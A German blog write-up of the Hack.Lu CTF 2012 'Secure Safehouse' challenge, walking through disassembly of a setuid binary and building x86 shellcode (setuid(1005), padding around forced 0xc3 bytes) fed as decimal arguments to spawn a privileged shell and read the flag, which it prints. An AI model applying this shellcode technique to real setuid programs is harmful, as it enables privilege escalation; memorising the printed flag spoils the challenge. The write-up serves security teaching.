Hack.Lu CTF 2012 –
Secure Safehouse

Hack.Lu CTF 2012 - Secure Safehouse - task description

Diese Challenge (Secure Safehouse) ist sehr ähnlich zu Safehouse. Es werden uns neben der oben genannten Aufgabenstellung wieder SSH-Zugangsdaten genannt. Nach dem Login und einem Listing des Verzeichnisinhaltes sehen wir folgendes:

Hack.Lu CTF 2012 - Secure Safehouse - setuid file view

Wieder gibt es eine Datei mit SUID-Bit namens “secure-safehouse” sowie eine “FLAG”-Datei, deren Auslesen wohl das Ziel dieser Challenge darstellt. Aus den Erfahrungen der vorherigen Challenge prüfen wir an dieser Stelle auch schon, welche UID der Benutzer “secure_safehouse” besitzt, hier: 1005.

Anschließend erstellen wir, wie vorher auch, zunächst einen Objekt-Dump. Die Instruktionen sind größtenteils mit denen der Challenge Safehouse identisch. Ich verzichte daher auf ein Ansprechen aller Einzelheiten und werde nur die Besonderheiten und Unterschiede zur vorherigen Challenge hervorheben.

4009cd:  ff 55 d8           call  QWORD PTR [rbp-0x28]
4009d0:  8b 5d 8c           mov   ebx,DWORD PTR [rbp-0x74]
4009d3:  ff cb              dec   ebx
4009d5:  39 c3              cmp   ebx,eax
4009d7:  0f 85 87 fe ff ff  jne   400864 <sig>

Zunächst einmal existiert keine Routine “again” mehr, das heißt der von uns übergebene Opcode wird nicht mehr alle vier Bytes per CALL angesprungen, sondern nur noch einmal (Zeile 1). Da aber immernoch alle vier Bytes ein 0xc3 (RET) geschrieben wird, müssen wir uns diesmal etwas anderes überlegen, wenn wir mehr als nur 3 Bytes für unseren Opcode verwenden wollen.

Außerdem wird, nachdem unser unser Opcode angesprungen wurde (Zeile 1) nicht wie in der vorherigen Challenge direkt die Shell geöffnet, sondern vorher noch ein Vergleich durchgeführt. Im Detail wird die Variable “ARGC” (RBP-0x74, Zeile 2) um Eins verringert (Zeile 3), was die genaue Anzahl der Übergabeparameter ergibt, und anschließend mit dem Register EAX verglichen (Zeile 4). Wenn die Register nicht überein stimmen, wird ein Fehlersignal ausgelöst (Zeile 5).

Um wie in der Challenge Safehouse zum Ziel zu kommen, müssen wir diesmal verhindern, dass die “0xc3” als RET (Return) interpretiert werden, wiederum jedoch die Funktion setuid() aufrufen, diesmal aber mit der UID 1005, die hier, wie oben geprüft, dem Benutzer “secure_safehouse” zugeordnet ist. Anschließend müssen wir nun noch zusätzlich dafür sorgen, dass EAX der Anzahl der Übergabeparameter entspricht.

Um zu verhindern, dass 0xc3 als RET ausgeführt wird, bleibt uns nichts weiter übrig, als eine 2-Byte-Instruktion zu finden, die ebenfalls auf 0xc3 endet und die keinen Effekt hat. Dafür bietet sich ein simples “move” in den Low-Byte-Bereich eines beliebigen Registers an, zum Beispiel “mov dl, 0xc3“.

Unter Verwendung dieser hilfsweisen “No Operation“-Instruktion setzen wir nun zunächst den “setuid(1005)”-Opcode analog zur Challenge Safehouse um.

BITS 32

mov al,0x17 ; (2 Bytes) Nummer des Syscalls in RAX (23 == 0x17)
mov dl,0xc3 ; (2 Bytes) Füllbytes (No Operation)

mov bl,0xed ; (2 Bytes) UID in RBX, 1005 == 0x03ed (low byte)
mov dl,0xc3 ; (2 Bytes) Füllbytes (No Operation)

mov bh,0x03 ; (2 Bytes) UID in RBX, 1005 == 0x03ed (high byte)
mov dl,0xc3 ; (2 Bytes) Füllbytes (No Operation)

int 0x80    ; (2 Bytes) Syscall: setuid(1005)
mov dl,0xc3 ; (2 Bytes) Füllbytes (No Operation)

Anschließend müssen wir noch die Überprüfung des Registers EAX auf die Anzahl der Übergabeparameter überwinden. Angenommen wir übergeben dem Programm die maximal möglichen fünf Übergabeparameter, dann müssen wir dem Register EAX den Wert fünf zuweisen.

Obwohl EAX nach dem Aufruf von setuid() (bei Erfolg) auf Null stehen sollte, werden wir das Register sicherheitshalber vorher dennoch per XOR löschen und anschließend das “low byte” (AL) des Registers auf Fünf setzen. Mit 0xc3-Füllbytes sieht dieser Opcode wie folgt aus:

xor eax,eax ; (2 Bytes) EAX == 0
mov dl,0xc3 ; (2 Bytes) Füllbytes (No Operation)

mov al,0x5  ; (2 Bytes) ARGC - 1 in EAX
nop         ; (1 Byte) Füllbyte (No Operation)
ret         ; (1 Byte) Return (wird vom Programm ersetzt)

Zählt man die Bytes nun zusammen, kommt man auf 6×4 Bytes, was sechs Übergabeparametern entsprechen würde – obwohl uns nur fünf zur Verfügung stehen. Dies stellt jedoch kein Problem dar, da das Zielsystem ein 64bit-System ist, dem wir zumindest als letzten Parameter auch eine 8-Byte-Dezimalzahl übergeben können, die trotzdem korrekt als Opcode übernommen wird.

Wir kompilieren also zunächst unser Programm mit “nasm” und lassen uns den Opcode mit “xxd” ausgeben:

rup0rt@lambda:~$ nasm secure-safehouse.asm
rup0rt@lambda:~$ xxd secure-safehouse
0000000: b017 b2c3 b3ed b2c3 b703 b2c3 cd80 b2c3  ................
0000010: 31c0 b2c3 b005 90c3                      1.......

Danach berechnen wir die Darstellung des Opcodes in Dezimalzahlen mit dem GDB:

(gdb) p/d 0xc3b217b0
$1 = 3283228592
(gdb) p/d 0xc3b2edb3
$2 = 3283283379
(gdb) p/d 0xc3b203b7
$3 = 3283223479
(gdb) p/d 0xc3b280cd
$4 = 3283255501
(gdb) p/d 0xc39005b0c3b2c031
$5 = -4354974582911614927

Mit diesen Zahlen können wir nun das Programm starten und erhalten:

ctf@secure_safehouse:~$ ./secure-safehouse 3283228592 3283283379 3283223479 3283255501 -4354974582911614927
$ id
uid=1000(ctf) gid=1000(ctf) euid=1005(secure_safehouse) groups=1005,1000(ctf)
$ cat FLAG
JOO_ARE_NOW_SUPER_LEET_C3_HECKER

Auch die erweiterten “Sicherheitsvorkehrungen” des secure_safehouse konnten somit überwunden und den Zombies entkommen werden ;-).

Die Lösung lautet “JOO_ARE_NOW_SUPER_LEET_C3_HECKER“.

Leave a Reply

Your email address will not be published. Required fields are marked *